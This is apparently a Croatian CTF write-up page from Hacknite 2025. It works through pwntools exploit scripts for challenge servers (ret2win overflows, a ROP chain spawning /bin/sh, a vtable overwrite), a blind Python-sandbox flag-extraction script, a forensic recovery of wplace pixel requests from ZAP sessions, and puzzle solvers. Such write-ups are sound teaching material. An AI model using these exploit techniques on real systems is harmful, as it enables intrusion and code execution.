Vidi se da ima više zabilježenih zapisa o stranici wplace, gdje korisnici mogu bojati piksele na mapi svijeta. No, kada se šalje zahtjev za postavljanje piksela, to se radi POST zahtjevom, a POST zahtjeve web preglednika ne bilježe, iako bilježe iznenađujuće puno drugih stvari…

No ostalo je još nešto zanimljivo na među datotekama a to je ZAP.

/mount/home/kali$ ls -lah
...
drwxrwxr-x 22 usr usr 4,0K ruj   3 14:43 .ZAP
-rw-rw-r--  1 usr usr 1,8K ruj   3 14:50 zap_root_ca.cer
...

Pregledom spremljenih ZAP sessiona, vidi se da među njima ima zabilježenih zahtjeva kojima se postavljaju pikseli na wplace stranici.

$ strings /mount/home/kali/.ZAP/session*/* | grep 'backend.wplace.live/s0/pixel/' | sort | uniq
9https://backend.wplace.live/s0/pixel/1108/744?x=698&y=422
9https://backend.wplace.live/s0/pixel/1108/744?x=706&y=423
9https://backend.wplace.live/s0/pixel/1108/744?x=718&y=419
GET https://backend.wplace.live/s0/pixel/1108/744?x=698&y=422 HTTP/1.1
GET https://backend.wplace.live/s0/pixel/1108/744?x=706&y=423 HTTP/1.1
GET https://backend.wplace.live/s0/pixel/1108/744?x=718&y=419 HTTP/1.1
GET https://backend.wplace.live/s0/pixel/1108 HTTP/1.1
)https://backend.wplace.live/s0/pixel/1108
-https://backend.wplace.live/s0/pixel/1108/744
POST https://backend.wplace.live/s0/pixel/1108/744 HTTP/1.1

Sada se može koristiti ZAP alat već prisutan u slici, ili instalirati i pokrenuti zaseban

sudo snap install zaproxy --classic

i s pomoću njega importati i otvoriti session datoteke kako bi se vidjeli zabilježeni zahtjevi postavljanja piksela na wplace stranici. Session datoteke su dostupne u direktorijima

/mount/home/kali/.ZAP/session
/mount/home/kali/.ZAP/sessions

U jednom od dostupnih session datoteka, se mogu pronaći zabilježeni zahtjevi prema stranici wplace, u kojima se nalaze koordinate nacrtanih piksela.

{"colors":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"coords":[718,420,718,421,718,422,719,419,721,419,722,419,723,419,722,420,722,421,722,422,725,419,725,420,725,421,725,422,726,421,726,419,728,419,729,419,730,420,729,421,728,422,729,423,730,423,725,423,722,423,719,423,728,423,733,419,734,420,732,422,733,423,732,420,732,421,734,421,734,422,736,419,737,419,738,420,736,423,737,423,738,423,736,422,737,421,740,419,741,419,742,419,740,420,741,421,742,422,741,423,740,423,744,419,744,420,744,421,744,422,744,423,745,423,745,419,747,419,748,419,749,420,748,421], ...


{"colors":[1,1,1,...],"coords":[747,422,747,423,748,423,749,423,752,423,751,422,751,421,753,423,754,422,752,421,753,421,751,420,752,419,753,419,757,419,756,420,758,421,757,421,757,423,758,423,756,422,759,422,759,420,758,419,761,420,761,421,762,422,763,422,763,421,763,423,764,422,761,419,761,422,766,419,767,419,768,419,768,420,768,421,768,422,768,423,770,419,771,419,772,419,770,420,771,421,772,422,771,423,770,423,774,419,775,419,776,420,775,421,774,422,774,423,775,423,776,423,778,419,778,421,778,420,778,422], ...


{"colors":[1,1,1...],"coords":[778,422,779,422,780,422,781,422,780,421,780,423,784,423,784,421,783,420,785,423,785,421,786,422,784,419,785,419,786,420,786,421,783,421,789,419,790,419,788,420,788,422,789,421,790,421,789,423,790,423,791,422,791,420,793,419,794,419,795,420,794,421,793,422,793,423,794,423,795,423,797,419,798,419,799,419,797,420,798,421,799,422,798,423,797,423,801,419,802,419,803,420,802,421,801,422,801,423,802,423,803,423,805,419,806,419,807,419,807,420,807,421,807,422,807,423], ...


{"colors":[1,1,1,1,1,1,1,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7],"coords":[809,419,810,419,810,420,810,421,810,422,810,423,809,423,813,419,814,419,814,420,813,420,815,420,816,420,816,419,817,419,817,420,818,420,817,421,816,421,815,421,814,421,813,421,814,422,815,422,816,422,815,423,812,420,820,420,821,420,822,420,823,420,824,420,825,420,826,420,825,419,824,419,822,419,821,419,821,421,822,421,823,421,824,421,825,421,824,422,823,422,822,422,823,423], ...

Sada se pronađeni pikseli iz ovih zahtjeva mogu prekopirati u “pixel_logs.txt”, te se može napisati Python program koji će parsirati ove zapise, pročitati koordinate svih piksela te ih nacrtati koristeći Tkinter i tako rekonstruirati nacrtanu sliku.

import tkinter as tk
import re

# --- CONFIGURATION ---
LOG_FILE = 'pixel_logs.txt'
PIXEL_SCALE = 8  # screen pixels per each wplace pixel. Increase for a bigger image.
BACKGROUND_COLOR = "lightgrey" #canvas background
DEFAULT_PIXEL_COLOR = "purple" # unknown color ID
PADDING = 40 # White space around the drawing

#  color map based on the wplace palette
COLOR_MAP = {
    0: "white",
    1: "black",
    2: "darkgrey",
    3: "grey",
    4: "lightgrey",
    5: "white",
    6: "darkred",
    7: "red",
    8: "orange",
    9: "gold",
    10: "yellow",
    14: "lime",
    19: "blue",
    20: "cyan",
    24: "purple",
    27: "pink",
    30: "brown",
}

def parse_and_process_logs(filename):
    all_pixels = []
    print(f"Reading pixel data from {filename}...")

    colors_regex = re.compile(r'"colors":\s*\[([^]]*)\]')
    coords_regex = re.compile(r'"coords":\s*\[([^]]*)\]')

    try:
        with open(filename, 'r') as f:
            for i, line in enumerate(f):
                line = line.strip()
                if not line:
                    continue

                colors_match = colors_regex.search(line)
                coords_match = coords_regex.search(line)

                if not colors_match or not coords_match:
                    print(f"  - Warning: Skipping line {i+1}. Could not find both 'colors' and 'coords' arrays.")
                    continue

                colors_str = colors_match.group(1)
                coords_str = coords_match.group(1)

                try:
                    colors = [int(c) for c in colors_str.split(',') if c.strip()]
                    coords = [int(c) for c in coords_str.split(',') if c.strip()]
                except ValueError:
                    print(f"  - Warning: Skipping line {i+1}. Found non-numeric data inside an array.")
                    continue


                if len(coords) % 2 != 0:
                    coords = coords[:-1]

                num_pixels_to_process = min(len(colors), len(coords) // 2)

                for pixel_index in range(num_pixels_to_process):
                    coord_index = pixel_index * 2
                    x = coords[coord_index]
                    y = coords[coord_index + 1]
                    color_id = colors[pixel_index]
                    all_pixels.append((x, y, color_id))

    except FileNotFoundError:
        print(f"Error: The file '{filename}' was not found.")
        print("Please make sure 'logs.txt' is in the same directory as this script.")
        return None
    
    print(f"Successfully processed {len(all_pixels)} pixels.")
    return all_pixels

def main():
    pixels_to_draw = parse_and_process_logs(LOG_FILE)

    if not pixels_to_draw:
        print("No pixel data found to draw.")
        return

    # --- Determine the canvas size ---
    min_x = min(p[0] for p in pixels_to_draw)
    max_x = max(p[0] for p in pixels_to_draw)
    min_y = min(p[1] for p in pixels_to_draw)
    max_y = max(p[1] for p in pixels_to_draw)

    print(f"Drawing bounds: X from {min_x} to {max_x}, Y from {min_y} to {max_y}")

    canvas_width = (max_x - min_x + 1) * PIXEL_SCALE + (2 * PADDING)
    canvas_height = (max_y - min_y + 1) * PIXEL_SCALE + (2 * PADDING)

    root = tk.Tk()
    root.title("Wplace Reconstruction")
    canvas = tk.Canvas(root, width=canvas_width, height=canvas_height, bg=BACKGROUND_COLOR)
    canvas.pack()

    for x, y, color_id in pixels_to_draw:
        color_str = COLOR_MAP.get(color_id, DEFAULT_PIXEL_COLOR)

        draw_x = (x - min_x) * PIXEL_SCALE + PADDING
        draw_y = (y - min_y) * PIXEL_SCALE + PADDING

        canvas.create_rectangle(
            draw_x,
            draw_y,
            draw_x + PIXEL_SCALE,
            draw_y + PIXEL_SCALE,
            fill=color_str,
            outline="" 
        )
    root.mainloop()

if __name__ == "__main__":
    main()

 Rekonstrukcija postavljenih piksela

Kada ste gotovi za zadatkom, napravite unmount.

sudo umount /mount
sudo qemu-nbd --disconnect /dev/nbd0
sudo modprobe -r nbd

Binarna eksploatacija

Kočija

Kočija se vratila.

Spoji se Linux naredbom nc chal.platforma.hacknite.hr 14011 ili Windows naredbom telnet chal.platforma.hacknite.hr 14011

Uz zadatak je dan i izvorni kod.

U zadatku je potrebno izazvati pozivanje slučaja 5, koji nema break;, pa će se nakon njega odmah ući u slučaj 6 u kojemu se izvršava naredba

longjmp(ctx,a);

A vrijednost a se postavlja kao zadnji uneseni broj. scanf vraća broj pravilno upisanih formata, što znači da je potrebno upisati 5 brojeva, kako bi scanf vratio 5 i kako bi se onda izazvalo pozivanje slučaja 5.

Format rješenja je 5 unesenih brojeva, od kojih zadnji broj ima potavljeni 18. bit s lijeva u 1.

…xx1xxxxxxxxxxxxxxxxx

Skripta koja rješava zadatak.

from pwn import *

p = remote("chal.platforma.hacknite.hr",14011)

p.sendline(b"1 1 1 1 131072")
print(p.recvall())

Zadatak++

sRETno!

Na remote instancu se možeš spojiti Linux naredbom nc chal.platforma.hacknite.hr 14008 ili Windows naredbom telnet chal.platforma.hacknite.hr 14008

Uz zadatak je dan i izvorni kod.

Ovaj se zadatak temelji na klasičnoj Ret2win ranjivosti, iako je pisan u C++ jeziku, pristup je isti.

Skripta koja rješava zadatak.

from pwn import *

p = remote("chal.platforma.hacknite.hr",14008)

e = ELF("./zadatak.out")
r = ROP(e)
ret = r.ret.address

payload = b"a" * 40 + p64(ret) + p64(e.sym["_Z7ret2winv"])

p.sendline(payload)
p.interactive()

Nakon toga je potrebno s pomoću shella pročitati /ctf/flag.txt

ZmijaPwn

Još jedan "snake" zadatak. Možeš li doći do flaga?

Dostupna ti je Linux izvršna datoteka za lokalnu analizu, a remote instanci se može pristupiti Linux naredbom

Napomena: za igranje na remote instanci morate i pritisnuti enter nakon W, A, S ili D (za potrebe exploita se očekuje da ćete to automatizirati)

nc chal.platforma.hacknite.hr 14007 ili Windows naredbom telnet chal.platforma.hacknite.hr 14007

Uz zadatak je dan i izvorni kod.

Pregledom koda, može se vidjeti da postoji unsigned integer underflow, koji će u slučaju da score postane -1, zbog underflowa postaviti score u najveći mogući, te će odmah biti zadovoljen uvjet dovoljno visokog scorea za upis imena.

U funkciji za upis imena se nalazi Ret2win ranjivost.

void highscore_prompt() {
    clear_screen();
    printf("Impressive score achieved! Enter your username: ");
    char buf[32];
    gets(buf); 
    printf("Thanks, %s!\n", buf);
    fflush(stdout);
}

Ovdje se funkcijom gets čita neograničen korisnički unos u buffer veličine 32 bajta. Može se prepisati adresa povratka, da se funkcija nakon povratka ne vrati u main, nego na početak izvršavanja funkcije easter_egg koja ispisuje flag.

void easter_egg() {
    FILE *file = fopen("easterEgg.txt", "r");
    char buffer[256];
    while (fgets(buffer, sizeof(buffer), file) != NULL) {
        printf("%s", buffer);
    }
    fclose(file);
    fflush(stdout);
}

Skripta koja rješava zadatak na opisani način je u nastavku.

#!/usr/bin/env python3

import collections
import collections.abc

from collections import deque

if not hasattr(collections, "MutableMapping"):
    collections.MutableMapping = collections.abc.MutableMapping


from pwn import process, context, ELF, asm, p64, remote, context

from pwnlib.tubes.process import PTY

HOST = 'chal.platforma.hacknite.hr'
PORT = 14007

import sys, re, time

context.log_level = 'info'

WID, HGT = 30, 15
MOVES = {"w": (0,-1), "s": (0,1), "a": (-1,0), "d": (1,0)}

CLEAR_RE = re.compile(b'\x1b\\[2J\x1b\\[H')


def parse_board_from_text(text):
    lines = text.splitlines()
    grid = []
    snake_head = None
    poison = None
    for y, line in enumerate(lines):
        if not line or line[0] != '#':
            continue
        row = []
        for x, ch in enumerate(line):
            if ch == '#':
                row.append('#')
            elif ch in " O*Xo":
                row.append(ch)
                if ch == 'O':
                    snake_head = (x-1, y-1)
                if ch == 'X':
                    poison = (x-1, y-1)
            else:
                row.append(' ')
        grid.append(row)
    return grid, snake_head, poison

def bfs_path(grid, start, goal):
    q = deque([(start, [])])
    seen = {start}
    moves = [(1,0,"d"),(-1,0,"a"),(0,1,"s"),(0,-1,"w")]
    while q:
        (x,y), path = q.popleft()
        if (x,y) == goal:
            return path
        for dx,dy,key in moves:
            nx, ny = x+dx, y+dy
            if not (0 <= nx < WID and 0 <= ny < HGT):
                continue
            if (nx,ny) in seen:
                continue
            if grid[ny][nx] in ("#", "o", "O"):
                continue
            seen.add((nx,ny))
            q.append(((nx,ny), path+[key]))
    return []

def suicide_move(head):
    x, y = head
    if x < WID//2: return "a"
    if x > WID//2: return "d"
    if y < HGT//2: return "w"
    return "s"

def get_payload():
    elf = ELF('./snake')
    easter_egg_addr = elf.symbols['easter_egg']
    
    ret_gadget = None
    for gadget in elf.search(asm('ret')):
        ret_gadget = gadget
        break
    
    if ret_gadget is None:
        print("Could not find a ret gadget")
        return
    
    offset = 40  
    payload = b'A' * offset
    payload += p64(ret_gadget) 
    payload += p64(easter_egg_addr) 
    
    print(f"[+] easter_egg address: {hex(easter_egg_addr)}")
    print(f"[+] ret gadget address: {hex(ret_gadget)}")
    print(f"[+] Payload: {payload.hex()}")

    return payload

def read_nonblocking(p, timeout=0.05):
    try:
        chunk = p.recv(timeout=timeout)
        chunk = CLEAR_RE.sub(b'', chunk)
        sys.stdout.write(chunk.decode(errors='ignore'))
        sys.stdout.flush()
        return chunk
    except Exception:
        return b''


def play_snake(binary="./snake"):
    context.log_level = 'info'
    buffer = b""


    p = remote(HOST, PORT)  

    current_path = []
    got_poison = False

    try:
        while True:
            chunk = read_nonblocking(p, 0.05)
            if not chunk:
                continue
            buffer += chunk

            if b"Score: -1" in buffer:
                time.sleep(0.05) 

            if b"Enter your username:" in buffer:
                buffer = b""
                choice = input("Highscore detected. Choose option:\n 1) Enter manually\n 2) Send payload\nEnter 1 or 2: ").strip()
                if choice == "1":
                    username = input("Enter username: ")
                    p.sendline(username.encode())
                else:
                    payload = get_payload()
                    print(f"[+] Sending payload ({len(payload)} bytes)")
                    p.sendline(payload)

                for _ in range(20):
                    chunk = read_nonblocking(p, 0.1)
                    if not chunk:
                        break

            if b"Score:" in buffer:
                text = buffer.decode(errors='ignore')
                grid, head, poison = parse_board_from_text(text)
                if not head:
                    buffer = b""
                    continue

                if not got_poison:
                    if poison:
                        if not current_path:
                            current_path = bfs_path(grid, head, poison)
                        if current_path:
                            move = current_path.pop(0)

                            p.send(move.encode())
                            dx, dy = MOVES[move]
                            nx, ny = head[0]+dx, head[1]+dy
                            if (nx, ny) == poison:
                                got_poison = True
                                current_path = []
                        else:
                            p.send(b'd')
                    else:
                        p.send(b'd')
                else:
                    mv = suicide_move(head)
                    p.send(mv.encode())

                buffer = b""

    finally:
        print("\n[+] Closing process.")
        try:
            p.close()
        except Exception:
            pass

if __name__ == "__main__":
    play_snake()

binsh

Pokušaj pozvati /bin/sh

Na remote instancu se možeš spojiti Linux naredbom nc chal.platforma.hacknite.hr 14010

Uz zadatak je dan i izvorni kod.

Rješenje ovog zadatka se temelji na ROP gadgetu kojim se poziva shell, pretraživanjem i sastavljanjem odgovarajućih elemenata iz glibc shared objecta.

Rješenje zadatka je u nastavku.

from pwn import *
import sys

if len(sys.argv) > 1:
    p = gdb.debug("./zadatak.out")
else:
    p = remote("chal.platforma.hacknite.hr",14010)

context.arch = "amd64"

e = ELF("./zadatak.out")
r = ROP(e)

rdi = r.rdi.address
rsi = r.rsi.address
rax = r.rax.address
syscall = r.syscall.address
shell = next(e.search(b"/bin/sh\x00"))

gadgets = [rdi,shell,rsi,0,rax,59,syscall]

for i in range(7):
    p.sendline(b"1")
    p.sendline(str(101+i).encode())
    p.sendline(str(gadgets[i]).encode())

p.sendline(b"a")

p.interactive()

petshop

Je li ovaj pet shop siguran?

Na remote instancu se možete spojiti Linux naredbom nc chal.platforma.hacknite.hr 14009 ili Windows naredbom telnet chal.platforma.hacknite.hr 14009

Uz zadatak je dan i izvorni kod.

Rješenje ovog zadatka je drugačije od drugih zadataka pisanih u C programskom jeziku, temelji se na Ret2win, prepisivanju adrese i sadržaja virtualne tablice i string pointera.

Predzadnji upit u zadatku (Ime i prezime>) ima buffer overflow, kojime se treba u objektu mačka koji je na stogu iznad objekta kupac kojemu se upisuje ime i prezime, prepisati string pointer varijable naziv i prepisati pointer na virtualni tablicu funkcija da pokazuju oboje na istu adresu, koja je u .bss sekciji, na dijelu sekcije gdje nije ništa za što bi program prestao funkcionirati kad bi bilo prepisano (kao stdout npr).

Sada kada je prepisana adresa string varijable naziv u objektu mačka (za prvi odabir uzeti 1 - mačka), zadnji unos je upravo unos naziva ljubimca, odnosno zadnji unos će se pohraniti na adresu na koju prepisana string varijabla naziv pokazuje.

Pošto je i virtualna tablica objekta mačka prepisana, da također pokazuje na tu adresu, kada će se pozvati z→zvuk(); na kraju programa, adresa te funkcije će se pokušati pronaći u virtualnoj tablici, kojoj je adresa prepisana u .bss sekciju, na mjesto na koje se također preko prepisane string varijable naziv može upisati proizvoljna adresa.

Sada je preostalo za zadnji unos upisati adresu funkcije ret2win, kako bi se adresa te funkcije preko prepisane adrese varijable naziv upisala u .bss sekciju i onda će se pri pozivu z→zvuk();, preko prepisane adrese virtualne tablice koja pokazuje na isto mjesto, umjesto funkcije zvuk, pozvati funkcija ret2win.

Rješenje zadatka

from pwn import *
import sys

e = ELF("./zadatak.out")

if len(sys.argv) > 1:
    p = gdb.debug("./zadatak.out")
else:
    p = remote("chal.platforma.hacknite.hr",14009)

p.sendline(b"1")
p.sendline(b"1")

bss = e.get_section_by_name(".bss").header.sh_addr + 8
payload = b"a" * 44 + p64(bss) + p64(bss) + p64(0) + p64(8)

p.sendline(payload)
p.sendline(p64(e.sym["_Z7ret2winv"]))
p.interactive()

Razno

Neispravan sat

Ovaj sat radi neobično, čini mi se da je neispravan.

Spoji se Linux naredbom nc chal.platforma.hacknite.hr 14035
ili telnet chal.hacknite.hr 12035

Uz zadatak je dan i izvorni kod zadatka.

Potrebno je zabilježiti ispise programa, i iz njih izračunati inicijalni broj dan programu, prema kojemu su određena brzina i početna pozicija sata.

Mogu se zabilježiti prve dvije pozicije i jedna puno kasnija pozicija za izračun parametara.

Clock - elapsed 0s
Min:5.00°  Hr:125.00°
Clock - elapsed 15s
Min:5.88°  Hr:125.38°
Clock - elapsed 692s
Min:45.42°  Hr:142.32°

Skripta koja pronalazi inicijalnu konfiguraciju iz ovih zapisa dana je u nastavku.

import re
import numpy as np
import sys

def calculate_velocity(times, angles):
    dt_est = times[1] - times[0]
    da_est = angles[1] - angles[0]
    if da_est > 180: da_est -= 360
    if da_est < -180: da_est += 360
    if dt_est == 0: return 0.0
    omega_est = da_est / dt_est
    total_dt = times[-1] - times[0]
    if total_dt == 0: return 0.0
    total_angle_change_est = omega_est * total_dt
    raw_angle_diff = angles[-1] - angles[0]
    num_wraps = np.round((total_angle_change_est - raw_angle_diff) / 360.0)
    total_angle_travel = raw_angle_diff + 360.0 * num_wraps
    return total_angle_travel / total_dt

def solve_log(filename="clock_log.txt"):
    try:
        with open(filename, "r") as f:
            log_text = f.read()
    except FileNotFoundError:
        print(f"Error: The file '{filename}' was not found.")
        return
    
    log_pattern = re.compile(r"Clock - elapsed (\d+)s\s+Min:([0-9.]+)°\s+Hr:([0-9.]+)", re.MULTILINE)
    matches = log_pattern.findall(log_text)
    if not matches or len(matches) < 2:
        print("Error: Log file does not contain enough data points.")
        return

    data = np.array(matches, dtype=float)
    
    # Determine k0 from the initial minute angle ---
    theta_m0 = data[0, 1]
    true_k0 = int(round(theta_m0))
    
    # Calculate velocities, g, and s to verify consistency ---
    omega_min = calculate_velocity(data[:, 0], data[:, 1])
    delta_omega = omega_min - calculate_velocity(data[:, 0], data[:, 2])

    g = round(0.1 / delta_omega)
    s = round(2 * g * (omega_min * 60)) % 12
    
    print(f"Calculated Congruence Class g = {g}")
    print(f"Calculated AP Step s = {s}")

    # Reconstruct the correct sequence ---
    def k_to_hour(k): return 12 if k == 0 else k
    
    hour_sequence = [k_to_hour((true_k0 + n * s) % 12) for n in range(12)]
    final_string = "".join(map(str, hour_sequence))
    solution = final_string[:12]
    
    print("\n---------------------------------------------------------")
    print("              THE UNIQUE SOLUTION IS")
    print("---------------------------------------------------------")
    print(f"Starting Hour: {k_to_hour(true_k0)}")
    print(f"Hour Sequence: {hour_sequence}")
    print(f"Final 12-digit string: {solution}")
    print(f"FLAG: CTF2025[{solution}]")
    print("---------------------------------------------------------")

if __name__ == "__main__":
    solve_log()

Elemental Fighters

Puno rješenje zadatka je napisano ovdje:

CTF writeup - Elemental Fighters

SandBlox

Možeš li pobjeći iz ovog Python zatvora iako ti nećemo dati izvorni kod?

http://chal.platforma.hacknite.hr:14034/

Tehnika ovog rješenja je slična kao Blind SQL injection, no nema baze podataka nad kojom se šalju upiti, nego je tehnika upita bazirana na istom principu. FLAG varijabla je unutar samog sandbox okruženja koje jedino vraća odgovor je li se kod uspješno izvršio ili nije. Rješenje je ostvareno izvršavanjem Python koda nad FLAG varijablom oblika “Ako je tvrdnja točna, nemoj baciti grešku, ako je tvrdnja netočna, baci grešku” ili obrnuto (kao što je u skripti).

Skripta je dana u nastavku.

import requests
import string
from string import ascii_lowercase

url="http://chal.platforma.hacknite.hr:14034/"


# Known flag format
known_prefix = "CTF2025["
flag = known_prefix
charset = "0123456789]" 



for position in range(len(known_prefix), 21):  # CTF2025[ + 12 digits + ] = 21 chars
    low = 0
    high = len(charset) - 1
    found_char = None
    
    while low <= high:
        mid = (low + high) // 2
        char = charset[mid]
        
        payload = f"""
if ord(FLAG[{position}]) >= ord('{char}'):
    undefined_function()  
else:
    a = 2 + 3  
"""

        try:
            response = requests.post(url, data={'code': payload})
            response_text = response.text
            
            # Check if we got an error (condition was true)
            if "Error occurred!" in response_text:
                found_char = char
                low = mid + 1

            elif "Code ran successfully!" in response_text:
                high = mid - 1
            else:
                print("Unknown response")
                print("Response text:", response_text)
                
        except Exception as e:
            print(f"Request error: {e}")
            break
    
    if found_char is not None:
        flag += found_char
        print(f"Position {position}: Found character '{found_char}', Current flag: {flag}")
    else:
        print(f"Position {position}: Error finding character")
        break

print(f"Flag: {flag}")

Čvor

Posloži čvor!

Spoji se Linux naredbom nc chal.platforma.hacknite.hr 14033
ili Windows naredbom telnet chal.platforma.hacknite.hr 14033

Potrebno je napisati program koji će pronaći validnu konfiguraciju točaka za zadane uvijete. Program se može napisati u Pythonu, ili u C-u ili Rustu, u kojem slučaju je skripta puno brža nego ako je napisana Pythonom.

Python skripta se može pokrenuti s “pypy” implementacijom Pythona, u kojem slučaju će se skripta značajno ubrzati.

pypy3 solveScript.py

u nastavku je dana Python skripta koja pronalazi validno rješenje ovih uvjeta, koja je kompatibilna s pypy implementacijom. Skripta koristi bruteforce pristup s backtrack algoritmom, bez heuristika. Moguće je napisati skriptu koja koristi prikladne heuristike i puno brže pronalazi validnu konfiguraciju rješenja.

import sys
import math
import random

class KnotBuilder:
    def __init__(self, num_nodes, min_dist, space_size):
        self.num_nodes = num_nodes
        self.min_dist = min_dist
        self.space_size = space_size
        self.nodes = []  # list of (x,y,z) tuples

    def is_valid_position(self, pos):
        x, y, z = pos

        # Check 3D distance constraint
        for nx, ny, nz in self.nodes:
            dx = x - nx
            dy = y - ny
            dz = z - nz
            if dx*dx + dy*dy + dz*dz < (self.min_dist * self.min_dist):
                return False
            
        # Check projections for crossing conditions
        def check_proj_axis(axis1, axis2):
            p = (pos[axis1], pos[axis2])

            # Node-node overlap
            for n in self.nodes:
                q = (n[axis1], n[axis2])
                if p == q:
                    return False
                
            # Node on existing segment
            for i in range(len(self.nodes)-1):
                a = self.nodes[i]
                b = self.nodes[i+1]
                pa = (a[axis1], a[axis2])
                pb = (b[axis1], b[axis2])
                if pa == pb:
                    continue
                if p == pa or p == pb:
                    continue
                orient = (pb[0] - pa[0])*(p[1] - pa[1]) - (pb[1] - pa[1])*(p[0] - pa[0])
                if abs(orient) == 0:
                    if min(pa[0], pb[0]) <= p[0] <= max(pa[0], pb[0]) and min(pa[1], pb[1]) <= p[1] <= max(pa[1], pb[1]):
                        return False
                    
            # Intersection with new segment
            if self.nodes:
                last = self.nodes[-1]
                p1 = (last[axis1], last[axis2])
                p2 = (pos[axis1], pos[axis2])
                for i in range(len(self.nodes)-1):
                    a = self.nodes[i]
                    b = self.nodes[i+1]
                    pa = (a[axis1], a[axis2])
                    pb = (b[axis1], b[axis2])
                    if pa == p1 or pb == p1 or pa == p2 or pb == p2:
                        continue
                    if self._segments_intersect(p1, p2, pa, pb):
                        return False
            return True
        
        # Check XY, XZ, YZ projections
        if not check_proj_axis(0, 1):
            return False
        if not check_proj_axis(0, 2):
            return False
        if not check_proj_axis(1, 2):
            return False
        return True

    def _segments_intersect(self, p1, p2, p3, p4):
        
        def orient(a, b, c):
            return (b[0] - a[0])*(c[1] - a[1]) - (b[1] - a[1])*(c[0] - a[0])
        
        def on_seg(a, b, c):
            return min(a[0], c[0]) <= b[0] <= max(a[0], c[0]) and min(a[1], c[1]) <= b[1] <= max(a[1], c[1])
        o1 = orient(p1, p2, p3)
        o2 = orient(p1, p2, p4)
        o3 = orient(p3, p4, p1)
        o4 = orient(p3, p4, p2)
        
        # Colinear cases
        if o1 == 0 and on_seg(p1, p3, p2): return True
        if o2 == 0 and on_seg(p1, p4, p2): return True
        if o3 == 0 and on_seg(p3, p1, p4): return True
        if o4 == 0 and on_seg(p3, p2, p4): return True


        if (o1 > 0 and o2 < 0 or o1 < 0 and o2 > 0) and (o3 > 0 and o4 < 0 or o3 < 0 and o4 > 0):
            return True
        return False

    def calculate_crossings(self):
        crossings = []
        def proj_cross(axis1, axis2, plane):

            # Node-node overlap
            for i in range(len(self.nodes)):
                for j in range(i+1, len(self.nodes)):
                    p1 = (self.nodes[i][axis1], self.nodes[i][axis2])
                    p2 = (self.nodes[j][axis1], self.nodes[j][axis2])
                    if p1 == p2:
                        crossings.append((plane, 'node-node', i, j))

            # Node on edge
            for i in range(len(self.nodes)):
                p = (self.nodes[i][axis1], self.nodes[i][axis2])
                for j in range(len(self.nodes)-1):
                    if i == j or i == j+1: 
                        continue
                    pa = (self.nodes[j][axis1], self.nodes[j][axis2])
                    pb = (self.nodes[j+1][axis1], self.nodes[j+1][axis2])
                    orient = (pb[0] - pa[0])*(p[1] - pa[1]) - (pb[1] - pa[1])*(p[0] - pa[0])
                    if abs(orient) == 0 and min(pa[0], pb[0]) <= p[0] <= max(pa[0], pb[0]) and min(pa[1], pb[1]) <= p[1] <= max(pa[1], pb[1]):
                        crossings.append((plane, 'node-edge', i, j, j+1))

            # Edge-edge intersections
            for i in range(len(self.nodes)-1):
                p1 = (self.nodes[i][axis1], self.nodes[i][axis2])
                p2 = (self.nodes[i+1][axis1], self.nodes[i+1][axis2])
                for j in range(i+2, len(self.nodes)-1):
                    p3 = (self.nodes[j][axis1], self.nodes[j][axis2])
                    p4 = (self.nodes[j+1][axis1], self.nodes[j+1][axis2])
                    if self._segments_intersect(p1, p2, p3, p4):
                        crossings.append((plane, 'edge-edge', i, i+1, j, j+1))
        proj_cross(0,1,'XY')
        proj_cross(0,2,'XZ')
        proj_cross(1,2,'YZ')
        return crossings

    def add_remaining_nodes(self):
        remaining = self.num_nodes - len(self.nodes)
        attempts = 0
        max_attempts = 10000
        while remaining > 0 and attempts < max_attempts:
            x = random.randint(0, self.space_size)
            y = random.randint(0, self.space_size)
            z = random.randint(0, self.space_size)
            pos = (x, y, z)
            if pos in self.nodes:
                attempts += 1
                continue
            if self.is_valid_position(pos):
                self.nodes.append(pos)
                remaining -= 1
            attempts += 1
        return remaining == 0

    def backtrack(self, current_nodes):

        if len(current_nodes) == self.num_nodes + 1:
            return True
        
        for x in range(0, self.space_size+1):
            for y in range(0, self.space_size+1):
                for z in range(0, self.space_size+1):
                    pos = (x, y, z)
                    if pos in current_nodes:
                        continue
                    valid = True
                    for nx, ny, nz in current_nodes:
                        dx = x - nx; dy = y - ny; dz = z - nz
                        if dx*dx + dy*dy + dz*dz < (self.min_dist*self.min_dist):
                            valid = False
                            break
                    if not valid:
                        continue
                    old_nodes = self.nodes
                    self.nodes = list(current_nodes)
                    if self.is_valid_position(pos):
                        current_nodes.append(pos)
                        if self.backtrack(current_nodes):
                            return True
                        current_nodes.pop()
                    self.nodes = old_nodes
        return False

        
def main():

    num_nodes = 12
    min_dist = 3 
    space_size = 6  #(0 - 6)

    builder = KnotBuilder(num_nodes, min_dist, space_size)
    success = builder.backtrack([(0, 0, 0)])

    if success:

        print("\nNode coordinates:")
        for i, (x, y, z) in enumerate(builder.nodes):
            print(f"Node {i}: ({str(x-(space_size//2))},{y-(space_size//2)},{z-(space_size//2)})")

    else:
        print("Failed to build complete knot with given constraints.")



if __name__ == "__main__":
    main()

Ako vas zanima više o ovom problemu, probajte napisati algoritam koji brže nalazi validna rješenja i probajte pronaći najveći broj točaka za koji je moguće pronaći validnu konfiguraciju uz iste uvjete prostora i minimalne udaljenosti. Za ovo se preporučuje napisati implementaciju u C programskom jeziku ili u Rustu.

hacknite2025.1763056194.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki